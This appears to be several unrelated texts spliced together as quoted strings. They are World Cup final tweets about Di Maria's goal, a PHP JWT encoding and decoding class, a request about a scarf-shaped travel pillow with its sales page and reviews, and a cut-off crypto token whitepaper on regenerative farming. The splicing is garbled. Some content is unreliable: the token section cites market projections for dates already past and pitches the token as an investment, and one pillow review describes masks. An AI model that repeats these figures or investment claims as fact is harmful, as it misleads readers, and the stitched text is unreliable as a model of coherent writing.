Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria with the second goal'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nOmg that 2nd goal, one touch clean passes on the attach was a beauty. Messi with the assist and Di Maria for goal. 2-0 #ARG game on now #FIFAWorldCup #ArgentinaVsFrance 15:36:52.0000000\nAnother goal for Argentina... De Maria ????''#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\n?ngel Di Maria is an absolute pleasure to watch. One of the most underrated players of all time. What a goal from Argentina! Is is finally Messi’s time? 15:36:19.0000000\nDi Maria makes it 2 - 0 Argentina vs France that maybe his last ever world cup goal wow! #WorldCup2022 15:36:27.0000000\nGOAL: World Cup final - Argentina 2-0 France, Di Maria (35 mins) #Qatar2022 15:36:18.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nDI MARIA!!! WHAT A GOAL!!!! L'ARGENTINA!!!! 15:36:44.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDI MAARRIAAAAAA what a stunning goal for #arg #FIFAWorldCupFinal 15:36:39.0000000\nDi Maria!!! What a nice goal!!!!! #Argentina up 2-NIL!!!! #WorldCup2022 15:36:39.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nThat goal by Di Maria was aces! #WorldCupFinal 15:36:17.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria ''#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nTerrific break by Argentina no problem with that Goal Messi Mcallister Di Maria 2-0 15:36:53.0000000\nWhat an assist what a goal Di Maria ???????? #ArgentinaVsFrance 15:36:33.0000000\n2-0 & Di Maria chipped his goal'#WorldCup '#ArgentinaVsFrance 15:36:55.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\n?? #WorldCup | #Qatar2022''? 36' | GOAL!!! Angel Di Maria doubles Argentina's lead!''#ARG 2-0 #FRA ''#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nGOAL!''Angel di Maria makes it 2 - 0 for Argentina.''#FIFAWorldCup 15:36:34.0000000\nDi Maria ''2-0 ''Beautiful goal from Argentina! 15:35:59.0000000\nThat wasn't a penalty.'But this Di Maria goal shows how good has Argentina been playing all match. 15:36:43.0000000\nBit annoying when you had Di Maria first goal scorer, France being found out at last 15:36:37.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nThat is a beautiful goal!!''Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nGOAL BY DI MARIA ?? #ARG\xa0\xa0 ''????Argentina 2-0 France????''#FIFAWorldCup\xa0\xa0| #ARGFRA 15:36:10.0000000\nDe Maria, Ze Maria.. astonishing goal.. #ArgentinaVsFrance #FIFAWorldCup 15:36:19.0000000\nAngel Di Maria makes it 2 -0 to Argentina #FIFAWorldCup ! Goal of the tournament 15:36:22.0000000\nWhat an amazing team-goal. Di Maria can still do it on the big stage. #ARGFRA 15:36:56.0000000\nArgentina is putting on a clinic right now. That was a gorgeous goal by Angel di Maria. 15:36:55.0000000\nWOW. WHAT A GOAL! Finished by Di Maria, Argentina well on top… anyone seen France & Mbappe??? 15:36:37.0000000" +'i am using following one\n\n \\* @author Anant Narayanan \n \\* @license http://opensource.org/licenses/BSD-3-Clause 3-clause BSD\n \\* @link https://github.com/firebase/php-jwt\n \\*/\nclass JWT\n{\n\n /\\*\\*\n \\* When checking nbf, iat or expiration times,\n \\* we want to provide some extra leeway time to\n \\* account for clock skew.\n \\*/\n public static $leeway = 0;\n\n /\\*\\*\n \\* Allow the current timestamp to be specified.\n \\* Useful for fixing a value within unit testing.\n \\*\n \\* Will default to PHP time() value if null.\n \\*/\n public static $timestamp = null;\n\n public static $supported\\_algs = array(\n \'HS256\' => array(\'hash\\_hmac\', \'SHA256\'),\n \'HS512\' => array(\'hash\\_hmac\', \'SHA512\'),\n \'HS384\' => array(\'hash\\_hmac\', \'SHA384\'),\n \'RS256\' => array(\'openssl\', \'SHA256\'),\n \'RS384\' => array(\'openssl\', \'SHA384\'),\n \'RS512\' => array(\'openssl\', \'SHA512\'),\n );\n\n /\\*\\*\n \\* Decodes a JWT string into a PHP object.\n \\*\n \\* @param string $jwt The JWT\n \\* @param string|array $key The key, or map of keys.\n \\* If the algorithm used is asymmetric, this is the public key\n \\* @param array $allowed\\_algs List of supported verification algorithms\n \\* Supported algorithms are \'HS256\', \'HS384\', \'HS512\' and \'RS256\'\n \\*\n \\* @return object The JWT\'s payload as a PHP object\n \\*\n \\* @throws UnexpectedValueException Provided JWT was invalid\n \\* @throws SignatureInvalidException Provided JWT was invalid because the signature verification failed\n \\* @throws BeforeValidException Provided JWT is trying to be used before it\'s eligible as defined by \'nbf\'\n \\* @throws BeforeValidException Provided JWT is trying to be used before it\'s been created as defined by \'iat\'\n \\* @throws ExpiredException Provided JWT has since expired, as defined by the \'exp\' claim\n \\*\n \\* @uses jsonDecode\n \\* @uses urlsafeB64Decode\n \\*/\n public static function decode($jwt, $key, array $allowed\\_algs = array())\n {\n $timestamp = is\\_null(static::$timestamp) ? time() : static::$timestamp;\n\n if (empty($key)) {\n throw new \\InvalidArgumentException(\'Key may not be empty\');\n }\n $tks = explode(\'.\', $jwt);\n if (count($tks) != 3) {\n throw new \\UnexpectedValueException(\'Wrong number of segments\');\n }\n list($headb64, $bodyb64, $cryptob64) = $tks;\n if (null === ($header = static::jsonDecode(static::urlsafeB64Decode($headb64)))) {\n throw new \\UnexpectedValueException(\'Invalid header encoding\');\n }\n if (null === $payload = static::jsonDecode(static::urlsafeB64Decode($bodyb64))) {\n throw new \\UnexpectedValueException(\'Invalid claims encoding\');\n }\n if (false === ($sig = static::urlsafeB64Decode($cryptob64))) {\n throw new \\UnexpectedValueException(\'Invalid signature encoding\');\n }\n if (empty($header->alg)) {\n throw new \\UnexpectedValueException(\'Empty algorithm\');\n }\n if (empty(static::$supported\\_algs[$header->alg])) {\n throw new \\UnexpectedValueException(\'Algorithm not supported\');\n }\n if (!in\\_array($header->alg, $allowed\\_algs)) {\n throw new \\UnexpectedValueException(\'Algorithm not allowed\');\n }\n if (is\\_array($key) || $key instanceof \\ArrayAccess) {\n if (isset($header->kid)) {\n if (!isset($key[$header->kid])) {\n throw new \\UnexpectedValueException(\'"kid" invalid, unable to lookup correct key\');\n }\n $key = $key[$header->kid];\n } else {\n throw new \\UnexpectedValueException(\'"kid" empty, unable to lookup correct key\');\n }\n }\n\n // Check the signature\n if (!static::verify("$headb64.$bodyb64", $sig, $key, $header->alg)) {\n require\\_once(\'SignatureInvalidException.php\');\n throw new SignatureInvalidException(\'Signature verification failed\');\n }\n\n // Check if the nbf if it is defined. This is the time that the\n // token can actually be used. If it\'s not yet that time, abort.\n if (isset($payload->nbf) && $payload->nbf > ($timestamp + static::$leeway)) {\n require\\_once(\'BeforeValidException.php\');\n throw new BeforeValidException(\n \'Cannot handle token prior to \' . date(\\DateTime::ISO8601, $payload->nbf)\n );\n }\n\n // Check that this token has been created before \'now\'. This prevents\n // using tokens that have been created for later use (and haven\'t\n // correctly used the nbf claim).\n if (isset($payload->iat) && $payload->iat > ($timestamp + static::$leeway)) {\n throw new BeforeValidException(\n \'Cannot handle token prior to \' . date(\\DateTime::ISO8601, $payload->iat)\n );\n }\n\n // Check if this token has expired.\n if (isset($payload->exp) && ($timestamp - static::$leeway) >= $payload->exp) {\n require\\_once(\'ExpiredException.php\');\n throw new ExpiredException(\'Expired token\');\n }\n\n return $payload;\n }\n\n /\\*\\*\n \\* Converts and signs a PHP object or array into a JWT string.\n \\*\n \\* @param object|array $payload PHP object or array\n \\* @param string $key The secret key.\n \\* If the algorithm used is asymmetric, this is the private key\n \\* @param string $alg The signing algorithm.\n \\* Supported algorithms are \'HS256\', \'HS384\', \'HS512\' and \'RS256\'\n \\* @param mixed $keyId\n \\* @param array $head An array with header elements to attach\n \\*\n \\* @return string A signed JWT\n \\*\n \\* @uses jsonEncode\n \\* @uses urlsafeB64Encode\n \\*/\n public static function encode($payload, $key, $alg = \'HS256\', $keyId = null, $head = null)\n {\n $header = array(\'typ\' => \'JWT\', \'alg\' => $alg);\n if ($keyId !== null) {\n $header[\'kid\'] = $keyId;\n }\n if ( isset($head) && is\\_array($head) ) {\n $header = array\\_merge($head, $header);\n }\n $segments = array();\n $segments[] = static::urlsafeB64Encode(static::jsonEncode($header));\n $segments[] = static::urlsafeB64Encode(static::jsonEncode($payload));\n $signing\\_input = implode(\'.\', $segments);\n\n $signature = static::sign($signing\\_input, $key, $alg);\n $segments[] = static::urlsafeB64Encode($signature);\n\n return implode(\'.\', $segments);\n }\n\n /\\*\\*\n \\* Sign a string with a given key and algorithm.\n \\*\n \\* @param string $msg The message to sign\n \\* @param string|resource $key The secret key\n \\* @param string $alg The signing algorithm.\n \\* Supported algorithms are \'HS256\', \'HS384\', \'HS512\' and \'RS256\'\n \\*\n \\* @return string An encrypted message\n \\*\n \\* @throws DomainException Unsupported algorithm was specified\n \\*/\n public static function sign($msg, $key, $alg = \'HS256\')\n {\n if (empty(static::$supported\\_algs[$alg])) {\n throw new \\DomainException(\'Algorithm not supported\');\n }\n list($function, $algorithm) = static::$supported\\_algs[$alg];\n switch($function) {\n case \'hash\\_hmac\':\n return hash\\_hmac($algorithm, $msg, $key, true);\n case \'openssl\':\n $signature = \'\';\n $success = openssl\\_sign($msg, $signature, $key, $algorithm);\n if (!$success) {\n throw new \\DomainException("OpenSSL unable to sign data");\n } else {\n return $signature;\n }\n }\n }\n\n /\\*\\*\n \\* Verify a signature with the message, key and method. Not all methods\n \\* are symmetric, so we must have a separate verify and sign method.\n \\*\n \\* @param string $msg The original message (header and body)\n \\* @param string $signature The original signature\n \\* @param string|resource $key For HS\\*, a string key works. for RS\\*, must be a resource of an openssl public key\n \\* @param string $alg The algorithm\n \\*\n \\* @return bool\n \\*\n \\* @throws DomainException Invalid Algorithm or OpenSSL failure\n \\*/\n private static function verify($msg, $signature, $key, $alg)\n {\n if (empty(static::$supported\\_algs[$alg])) {\n throw new \\DomainException(\'Algorithm not supported\');\n }\n\n list($function, $algorithm) = static::$supported\\_algs[$alg];\n switch($function) {\n case \'openssl\':\n $success = openssl\\_verify($msg, $signature, $key, $algorithm);\n if ($success === 1) {\n return true;\n } elseif ($success === 0) {\n return false;\n }\n // returns 1 on success, 0 on failure, -1 on error.\n throw new \\DomainException(\n \'OpenSSL error: \' . openssl\\_error\\_string()\n );\n case \'hash\\_hmac\':\n default:\n $hash = hash\\_hmac($algorithm, $msg, $key, true);\n if (function\\_exists(\'hash\\_equals\')) {\n return hash\\_equals($signature, $hash);\n }\n $len = min(static::safeStrlen($signature), static::safeStrlen($hash));\n\n $status = 0;\n for ($i = 0; $i < $len; $i++) {\n $status |= (ord($signature[$i]) ^ ord($hash[$i]));\n }\n $status |= (static::safeStrlen($signature) ^ static::safeStrlen($hash));\n\n return ($status === 0);\n }\n }\n\n /\\*\\*\n \\* Decode a JSON string into a PHP object.\n \\*\n \\* @param string $input JSON string\n \\*\n \\* @return object Object representation of JSON string\n \\*\n \\* @throws DomainException Provided string was invalid JSON\n \\*/\n public static function jsonDecode($input)\n {\n if (version\\_compare(PHP\\_VERSION, \'5.4.0\', \'>=\') && !(defined(\'JSON\\_C\\_VERSION\') && PHP\\_INT\\_SIZE > 4)) {\n /\\*\\* In PHP >=5.4.0, json\\_decode() accepts an options parameter, that allows you\n \\* to specify that large ints (like Steam Transaction IDs) should be treated as\n \\* strings, rather than the PHP default behaviour of converting them to floats.\n \\*/\n $obj = json\\_decode($input, false, 512, JSON\\_BIGINT\\_AS\\_STRING);\n } else {\n /\\*\\* Not all servers will support that, however, so for older versions we must\n \\* manually detect large ints in the JSON string and quote them (thus converting\n \\*them to strings) before decoding, hence the preg\\_replace() call.\n \\*/\n $max\\_int\\_length = strlen((string) PHP\\_INT\\_MAX) - 1;\n $json\\_without\\_bigints = preg\\_replace(\'/:\\s\\*(-?\\d{\'.$max\\_int\\_length.\',})/\', \': "$1"\', $input);\n $obj = json\\_decode($json\\_without\\_bigints);\n }\n\n if (function\\_exists(\'json\\_last\\_error\') && $errno = json\\_last\\_error()) {\n static::handleJsonError($errno);\n } elseif ($obj === null && $input !== \'null\') {\n throw new \\DomainException(\'Null result with non-null input\');\n }\n return $obj;\n }\n\n /\\*\\*\n \\* Encode a PHP object into a JSON string.\n \\*\n \\* @param object|array $input A PHP object or array\n \\*\n \\* @return string JSON representation of the PHP object or array\n \\*\n \\* @throws DomainException Provided object could not be encoded to valid JSON\n \\*/\n public static function jsonEncode($input)\n {\n $json = json\\_encode($input);\n if (function\\_exists(\'json\\_last\\_error\') && $errno = json\\_last\\_error()) {\n static::handleJsonError($errno);\n } elseif ($json === \'null\' && $input !== null) {\n throw new \\DomainException(\'Null result with non-null input\');\n }\n return $json;\n }\n\n /\\*\\*\n \\* Decode a string with URL-safe Base64.\n \\*\n \\* @param string $input A Base64 encoded string\n \\*\n \\* @return string A decoded string\n \\*/\n public static function urlsafeB64Decode($input)\n {\n $remainder = strlen($input) % 4;\n if ($remainder) {\n $padlen = 4 - $remainder;\n $input .= str\\_repeat(\'=\', $padlen);\n }\n return base64\\_decode(strtr($input, \'-\\_\', \'+/\'));\n }\n\n /\\*\\*\n \\* Encode a string with URL-safe Base64.\n \\*\n \\* @param string $input The string you want encoded\n \\*\n \\* @return string The base64 encode of what you passed in\n \\*/\n public static function urlsafeB64Encode($input)\n {\n return str\\_replace(\'=\', \'\', strtr(base64\\_encode($input), \'+/\', \'-\\_\'));\n }\n\n /\\*\\*\n \\* Helper method to create a JSON error.\n \\*\n \\* @param int $errno An error number from json\\_last\\_error()\n \\*\n \\* @return void\n \\*/\n private static function handleJsonError($errno)\n {\n $messages = array(\n JSON\\_ERROR\\_DEPTH => \'Maximum stack depth exceeded\',\n JSON\\_ERROR\\_STATE\\_MISMATCH => \'Invalid or malformed JSON\',\n JSON\\_ERROR\\_CTRL\\_CHAR => \'Unexpected control character found\',\n JSON\\_ERROR\\_SYNTAX => \'Syntax error, malformed JSON\',\n JSON\\_ERROR\\_UTF8 => \'Malformed UTF-8 characters\' //PHP >= 5.3.3\n );\n throw new \\DomainException(\n isset($messages[$errno])\n ? $messages[$errno]\n : \'Unknown JSON error: \' . $errno\n );\n }\n\n /\\*\\*\n \\* Get the number of bytes in cryptographic strings.\n \\*\n \\* @param string\n \\*\n \\* @return int\n \\*/\n private static function safeStrlen($str)\n {\n if (function\\_exists(\'mb\\_strlen\')) {\n return mb\\_strlen($str, \'8bit\');\n }\n return strlen($str);\n }\n}\nclass BeforeValidException extends \\UnexpectedValueException\n{\n}\n\nclass SignatureInvalidException extends \\UnexpectedValueException\n{\n}' +'There is a special travel pillow in the shape of a neck scarf. I will send you its specifications and the opinions of its buyers.\nI want from you:\n1- Give your opinion about this pillow and its advantages and disadvantages\n2- List me at least twenty different uses of this pillow, other than travel, and write a paragraph for each item.\nThe information about this neck scarf travel pillow is:\n"The Best Pillow For Sleeping Sitting Up!\nMAIN FEATURES \n\nOur neck pillow is better than a U-shaped neck pillow and has been strategically designed to prevent stiff necks and sore shoulders. \n\n\\* The Travel Pillow is a SCIENTIFICALLY PROVEN travel pillow to keep your head in a BETTER POSITION when sleeping upright by holding your head in an ergonomic position during rest. No more nodding heads!\n\n\\* SUPER SOFT fleece combined with a unique hidden internal SUPPORT, plus some EXTRA COSY CUSHIONING creates a comfortable resting place for your head and neck.\n\n\\* Available in RED, GREY, and BLACK so you can find a color that suits your style.\n\n\\* Our UNIQUE PATENTED DESIGN is your ticket to an awesome night’s sleep, wherever you are. Designed to look like a SCARF, the Trtl Pillow can be easily adjusted to your comfort.\n\n\\* The Pillow is EASY TO ATTACH to the handle of your backpack or outside of your luggage, and it only WEIGHS HALF A POUND (148 grams)! Say goodbye to bulky neck pillows taking up precious space in your carry-on, or weighing you down duty-free.\n\n\\* ALWAYS FRESH and ready to go, The Pillow is also MACHINE WASHABLE!\n\nHOW TO USEKhông có mô tả.Không có mô tả.Không có mô tả.\n\nOUR GUARANTEE\n📦 Insured Worldwide Shipping: Each order includes real-time tracking details and insurance coverage in the unlikely event that a package gets lost or stolen in transit.\n\n💰 Money-Back Guarantee: If your items arrive damaged or become defective within 15 days of normal usage, we will gladly issue out a replacement or refund.\n\n✉️ 24/7 Customer Support: We have a team of live reps ready to help and answer any questions you have within a 24-hour time frame, 7 days a week.\n\n🔒 Safe & Secure Checkouts: We use state-of-the-art SSL Secure encryption to keep your personal and financial information 100% protected.\n\n\nTRAVEL NECK PILLOW\n\n€16,82 €33,66\nColor\n\nGray\nCombo\n\n1 PC\nQuantity\n1\n\nADD TO CART\nOverall rating: 5/5\nSee all reviews (215)\n5\n\n100%\n4\n\n0%\n3\n\n0%\n2\n\n0%\n1\n\n0%\n\nMost recent\nProduct reviews (20)Store reviews (0)\nLorrie Burcin\nLorrie Burcin\n02/09/2023\nI was impressed with the support of the trtl pillow. I have tried the traditional neck pillow in the past and was never able to sleep. It is still difficult to sleep sitting upright, but it was pretty comfy and I didn\'t wake up with a sore neck. It really did feel like I was sleeping on someone\'s shoulder. My only beef was that my wireless headphones wouldn\'t stay in my ears. The next generation could incorporate headphones and I would be set.\n\nErrol Favaro\nErrol Favaro\n02/07/2023\nI acutally really like this thing.\n\nLuana Marrietta\nLuana Marrietta\n02/07/2023\nI started with 2, but my brother stole one because he has trouble finding masks that fit his large-ish head and beard! I replaced that one. Shortly thereafter, I bought 3 more so I have one for every day of the week. They are easy to pull on and off, easy to adjust to the perfect size, and are comfortable enough for all day wear - with no ear pain.\n\nKyong Croce\nKyong Croce\n02/06/2023\nVery very good.\nCarlotta Rinn\nCarlotta Rinn\n01/31/2023\nIn the past I have tried different methods and products to try sleeping on flights. Nothing really works very well. I have not yet flown using my trtl pillow but just putting it on while sitting at home I felt I could easily take a nice nap. It is very soft and truly does provide good support for my head and neck. Can’t wait to fly again!\nShira Billigmeier\nShira Billigmeier\n01/29/2023\nThis is a great Neck pillow When you want to be comfortable on a chair or upright position and you can\'t lay down! I also have back and neck problems and it supports my neck pretty comfortably. You can swivel it around to each side each side, front or or back. I prefer switching it around from right to left, Depending on what feels comfortable at that moment. I would get this pillow For any of my family members. This is a unique great gift idea. I love this travel neck pillow because it works!\n\nGemma Machi\nGemma Machi\n01/29/2023\nMy dad loves this so muchhh. Thank shop\n\nKasey Buggs\nKasey Buggs\n01/27/2023\nExcellent product. I loved. I recommend it. I bought this for a long flight and haven\'t used it for that yet, but I did try it out for a sitting up nap. It worked well and wasn\'t too warm. If it survives an 8 hour flight along with my neck, it will get five\n\nVicenta Fotheringham\nVicenta Fotheringham\n01/27/2023\nThis thing is weird, but wonderful! Soft and cozy, it doesn\'t get hot (and I sleep HOT), and I can wear my noise-cancelling headphones and shades without issue! I did disassemble to wash and had a hard time getting the sewn-in foam insert to dry all the way. Hung it for a day or two and that did the job. Also the velcro looks gentle but could be lethal to other clothes in the laundry. I put it in a lingerie sack and the velcro stuck right to the sack and messed the fabric up a bit-definitely velcro it closed and/or use a lingerie sack when washing. All that said, the pillow has elevated my car travel experience immensely. I am very happy with it. Highly recommend!\n\nJeanie Iguina\nJeanie Iguina\n01/26/2023\nThis pillow was very helpful to me and supported my neck very well during my flight. You may consider Junior size if your hight is under 170cm.\n\nFrancine Feiertag\nFrancine Feiertag\n01/23/2023\nI\'ve honestly never slept while traveling much at all. I\'m perimenopausal, so hot flashes are a thing, but as long as I have cooled down enough before I put it on I can go right to sleep. It is made of a very soft fleece, though, so it can get hot. It\'s not the kind of fleece that is super silky, but it\'s durable and comfortable on your face. The head support is springy, but supportive. This doesn\'t work well with over-the-ear headphones, and it\'s uncomfortable to wear an earbud in the ear that is against the support. All that said, I am very happy with this purchase.\n\nTreena Nansteel\nTreena Nansteel\n01/23/2023\nWhat I love about this is that it’s easy to wash so that after you travel if you don’t feel like burning the pillow. Regular travel pillows kind of get gross and musty when they are stored and otherwise are kind of disposable. I’m bad for the environment. I’m hoping this thing will last for many years. The only thing I wish it came with was a little travel bag to keep it clean. It’s a little hard to pack because it’s an odd 3-D shape.\nJessie Casaus\nJessie Casaus\n01/20/2023\nI have a pain on my neck so every time I traveled that pain get worse. I gave a try to trtl and was great to help me keep my neck in a better position. Also I like your neck get warm with the cold A/C from the plane\n\nDelta Neidert\nDelta Neidert\n01/18/2023\nI was hesitant at first on purchasing this pillow. I flew from California to Hawaii so comfortably! I didn’t have to bend my neck against the window. This was probably one of my best purchases ever!\n\nAbe Ehrismann\nAbe Ehrismann\n01/16/2023\nAmazing pillow! I wish I had known about this years ago as it would have been perfect for so many occasions. I was a bit unsure about how the internal plastic support structure would feel but it is very comfortable. I have already bought 2 of these and will definitely be buying more especially as gifts as I know a lot of people that would love this! I use it all the time and take it everywhere with me.\nGustavo Surman\nGustavo Surman\n10/24/2022\nVery practical I reccommend this pillow.Thanks\nKaryl Warley\nKaryl Warley\n09/21/2022\nArrived on time. Good service by Favocy shop! Do a great job and keep going.\n\nCandelaria Camaj\nCandelaria Camaj\n09/14/2022\nAt last I can enjoy my rides on the bus. Excellent device.\n\nBrendon Panameno\nBrendon Panameno\n08/26/2022\nThis is one of the more comfortable travel pillows I have used. Excellent!\n\nVeronica Konno\nVeronica Konno\n08/19/2022\nThe track was tracked, picked up in the post office. An interesting scarf pillow, made with high quality, the fleece is not thin, pleasant to the touch, the threads do not stick out, the Velcro is strong, there is a plastic insert inside, you can get and wash the shell. I tried it, it holds my head quite comfortably. Thanks seller"' +"Token Economics\nThe Fresh Earth ecosystem aims to have a significant impact on the environment, society and economy by promoting regenerative agriculture and sustainable food systems, using key performance indicators to measure and validate this impact, and by fostering collaboration, innovation and best practices among stakeholders.\n\nEconomic Model\nThe Fresh Earth Token is a verifiable science and technology-based token that measures the impact of regenerative practices using KPIs such as carbon sequestration, biodiversity, water retention, reduction in chemical use, and an increase in the quality of food. This ensures that the ecosystem's activities are having a real and measurable impact on the environment and society.\n\nAdditionally, the Fresh Earth ecosystem promotes collaboration and knowledge-sharing among its stakeholders, fostering innovation and best practices in regenerative agriculture. This helps to accelerate the adoption of regenerative practices and improve the overall impact of the ecosystem. By connecting farmers on the regenerative pathway with consultants, suppliers, funding and markets the ecosystem helps to reduce costs and risks for farms, and allows businesses and consumers to access verified, locally developed regenerative food products directly from the designers, manufacturers, and producers.\n\nThe Fresh Earth Token leverages additional external funding from government schemes such as emissions trading schemes and carbon trading futures to further drive the regeneration and growth of the ecosystem. This model is aligned with the growing consumer trend towards sustainable and regenerative food systems, as well as addressing the urgent need to address climate change and food security.\n\nThe efficiency of farmers converting land to regenerative farms is supported by the fact that regenerative farming practices not only improve the health of the soil, but also lead to higher crop yields, increased resilience to climate change, and improved water retention. Consumer demand for regenerative food further drives the growth of the ecosystem, as farmers respond to the market demand by converting more land to regenerative practices.\n\nThe economic system that underpins this project is based on creating value from the verified impact KPIs, and redistributing it in the current ecosystem through the use of existing economic modeling systems that are recognized. Research suggests that regenerative agriculture can improve the profitability of farmers by reducing input costs, improving crop yields, and increasing resilience to climate change.\n\nIn this unique economic model the Token represents fractional ownership of a decentralized autonomous organization (DAO) that manages the food ecosystem business, allowing investors to participate in the growth and success of the ecosystem and share in the value generated.\n\nInvesting in the Fresh Earth token not only allows individuals and organizations to financially benefit from the growth of the ecosystem but also play a role in creating a more sustainable and regenerative food system for the planet and society. Examples of companies that have implemented similar models and have seen success include Patagonia Provisions, Danone, and Mars. \n\n \n\nValuation Logic of the Fresh Earth Token:\nThe regenerative food market is expected to reach $4.5 billion by 2022, growing at a CAGR of 16.2%.\n\nThe Regenerative Agriculture Association cites that regenerative agriculture can lead to a 30% reduction in greenhouse gas emissions, while also increasing biodiversity and improving soil health.\n\nStudies have shown that regenerative agriculture can sequester carbon at rates of 0.4% to 0.9% per year, while also improving soil health, water retention, and crop yields.\n\nThere are economic incentives for farmers to adopt regenerative practices such as government subsidies and carbon offset markets.\n\nMonetizing the Fresh Earth Token: Economic Models and Funding Opportunities\nThe Fresh Earth Token, through its ability to measure and verify impact in its KPIs and the use of deep scientific data on regenerative farms and practices, is able to access funding from various markets. This includes:\n\nCarbon Offsetting: The global carbon offset market is valued at $189 billion and is projected to reach $531 billion by 2027. The token's ability to register, facilitate, monitor and validate verified carbon sequestration projects and sell them to companies and organizations to offset their carbon emissions provides a major source of revenue. Part of that revenue will go to the farmer or project, and part (~20%) wll be retained by Fresh Earth for services provided.\n\nBiodiversity, water retention and other benefits: Regenerative farming practices that store carbon in the soil bring many concomitant benefits, such as increased fertility, water retention and food nutrient density. Regenerative oractises can also target other regenerative and ESG outcome such as biodiversity and animal welfare. At an early stage these provide ESG value, and eventually, first on social markets and eventually government mandated markets, many of these will monetizable - see below.\n\nPay for Performance: The pay for performance market is valued at $2 billion and is projected to reach $8 billion by 2022. The token's ability to measure and verify specific environmental and social outcomes, such as reducing emissions and increasing energy efficiency, allows for the token to be used as a reward for companies and organizations that meet certain goals.\n\nImpact Investing: The impact investing market is valued at $502 billion and is projected to reach $913 billion by 2020. The token's ability to generate measurable social and environmental impact alongside financial returns allows impact investors to invest in projects such as regenerative farming practices.\n\nCommunity-based financing: The community-based financing market is valued at $6.1 billion and is projected to reach $11.9 billion by 2022. The token's ability to provide funding for sustainable development projects, such as renewable energy and sustainable agriculture, allows for communities to directly invest in and benefit from these projects.\n\nRegenerative Agriculture Financing: The regenerative agriculture financing market is valued at $3 billion and is projected to reach $9 billion by 2025. The token's ability to provide financing for farmers to adopt regenerative farming practices, such as cover cropping, agroforestry, and holistic grazing, allows for the growth and success of the regenerative agriculture industry.\n\nWater Rights Trading: The water rights trading market is valued at $11 billion and is projected to reach $22 billion by 2025. The token's ability to measure and verify water usage and conservation efforts allows for farmers to trade water rights and optimize water usage, reduce waste, and improve water quality.\n\nBiodiversity Offsets: The biodiversity offset market is valued at $1 billion and is projected to reach $3 billion by 2025. The token's ability to measure and verify conservation projects that protect or restore biodiversity allows companies to offset the loss of biodiversity caused by their activities.\n\nEcosystem Services Markets: The ecosystem services market is valued at $6 billion and is projected to reach $12 billion by 2025. The token's ability to measure and verify practices that provide ecosystem services, such as carbon sequestration, water purification, and pollination, allows companies to purchase credits from farmers and landowners that are implementing these practices.\n\nConservation Easements: The conservation easements market is valued at $3 billion and is projected to reach $5 billion by 2025. The token's ability to measure and verify land use practices that protect important ecological areas and biodiversity allows for landowners to restrict the development of their land in exchange for financial compensation.\n\nBenefit-sharing agreements: The benefit-sharing agreements market is valued at $2 billion and is projected to reach $4 billion by 2025. The token's ability to measure and verify conservation and sustainable land use practices, such as carbon sequestration, water purification, and pollination, allows local communities to share in the benefits of these practices.\n\nCommunity Land Trusts: The community land trusts market is valued at $2 billion and is projected to reach $4 billion by 2025. The token\n\n \n\n7. Team\nA. Overview of the Fresh Earth team\n\nThe Fresh Earth team is a group of dedicated individuals with a passion for creating a more sustainable and equitable food system. The team is composed of experts in regenerative agriculture, blockchain technology, marketing, and environmental science. With a combined experience of over 100 years, the Fresh Earth team is well-equipped to deliver on their mission.\n\nB. Team members\n\nLuke Makepeace - Co-Founder and CEO. A serial entrepreneur with 20 years of experience in developing complex ecosystems including a regenerative commerce ecosystem and a distributed generation modelling ecosystem for optimization of power grids.\n\nMike McCosker - Co-Founder and Chief of Regenerative Farming. A fourth-generation farmer with 30+ years of experience in regenerative agriculture.\n\nBen Nott - Co-Founder and CMO. Founder of World Wide Mind and winner of over 100 international Creative Advertising and Film Directing awards.\n\nDr. Paul Taylor, PhD - Co-Founder and Chief of Science. A published scientific research author specializing in Agriculture and Environmental science.\n\nShaun McLean - CTO. An innovative entrepreneur and experienced software developer with a strong background in blockchain technology and web3 development. With 20+ years of experience as a technology professional, this individual has a proven track record of providing the crucial bridge between business, marketing, customer, and technology teams. He has led the development of several decentralized applications and understands the technical requirements and considerations for building a decentralized platform like Fresh Earth.\n\nDave Dawson - Head of Enterprise & Institutional Relationships. A business strategy expert.\n\nRussell Rankin - Innovation Specialist. Specializes in food innovation and connecting industry with research and government bodies.\n\n8. Partnerships and Collaborations\nPartners: A list of partners and organizations supporting the Fresh Earth ecosystem and the Fresh Earth Token.\n\nEnvironmental organizations or non-profits focused on sustainable agriculture and regenerative farming practices\n\nAgricultural research institutions or universities with expertise in regenerative agriculture\n\nGovernment agencies or departments involved in agricultural policy and funding\n\nLarge food companies or retailers committed to sourcing sustainable and regeneratively-produced food products\n\nOther blockchain or decentralized platform companies with relevant experience or 